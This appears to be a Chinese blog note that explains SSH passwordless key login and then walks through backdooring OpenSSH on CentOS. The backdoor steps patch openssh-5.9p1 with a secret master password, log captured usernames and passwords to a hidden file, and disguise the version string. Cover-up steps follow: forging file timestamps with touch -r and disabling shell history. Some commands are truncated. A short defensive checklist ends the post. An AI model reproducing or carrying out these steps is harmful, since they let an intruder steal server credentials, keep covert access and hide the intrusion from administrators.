ssh公钥免密
SSH-KeyGen 的用法
假设 A 为客户机器,B为目标机;
要达到的目的:
A机器ssh登录B机器无需输入密码;
加密方式选 rsa|dsa均可以,默认dsa
做法:
- 登录A机器
- ssh-keygen -t [rsa|dsa],将会生成密钥文件和私钥文件 id_rsa,id_rsa.pub或id_dsa,id_dsa.pub
- 将 .pub 文件复制到B机器的 .ssh 目录, 并 cat id_dsa.pub >> ~/.ssh/authorized_keys
- 大功告成,从A机器登录B机器的目标账户,不再需要密码了;
原理
主要有两种登录方式:第一种为密码口令登录,第二种为公钥登录
密码口令登录
通过密码进行登录,主要流程为:
1、客户端连接上服务器之后,服务器把自己的公钥传给客户端
2、客户端输入服务器密码通过公钥加密之后传给服务器
3、服务器根据自己的私钥解密登录密码,如果正确那么就让客户端登录
公钥登录
公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
OpenSSH 后门
环境说明
Centos 7
查看Openssh版本
ssh -V
下载SSH配置文件
1 | [root@vultr ~]# mkdir open_ssh_backdoor |
可能会遇到patch未安装
yum -y install patch
修改后门密码与文件记录
[root@vultr openssh-5.9p1]# vim includes.h
在最下面可以看见
ILOG是记录登录到本机的用户名和密码的文件,这里我用.ilog是为了隐藏文件,需要用ls -la
才能查看
OLOG是记录本机登录到远程的用户名和密码
SECRETPW是你后门的密码。
[root@vultr openssh-5.9p1]# vim version.h
修改ssh版本信息,改成原来的
安装所需环境
[root@vultr openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel
编译安装
1 | [root@vultr openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh |
(不知道哪一步出错了 中途直接ssh崩了 vps都连不上了。。。心态爆炸)
然后就可以用之前的密码登陆了
可以发现 只会记录正常的密码,而我们的后门密码不会记录
抹去痕迹
修改上传文件时间戳
恢复新配置文件的日期,使其与旧文件的日期一致,对ssh_config和sshd_config文件的内 容进行对比,使其配置文件一致,然后修改文件日期。
touch -r 老文件时间戳 新文件时间戳
1 | [root@vultr openssh-5.9p1]# touch -r /etc/ssh/ssh_config.bak /etc/ssh/ssh_config |
清除操作日志
1 | [root@vultr open_ssh_backdoor]# export HISTFILE=/dev/null |
如何防御
- 重装openssh,更新到最新版本
- 将SSH默认登录端口22改为其他端口
- IPTable中添加SSH访问策略
- 查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
- 查看安全日志
[root@vultr open_ssh_backdoor]# more /var/log/secure |grep Accepted //排查ip
- 通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。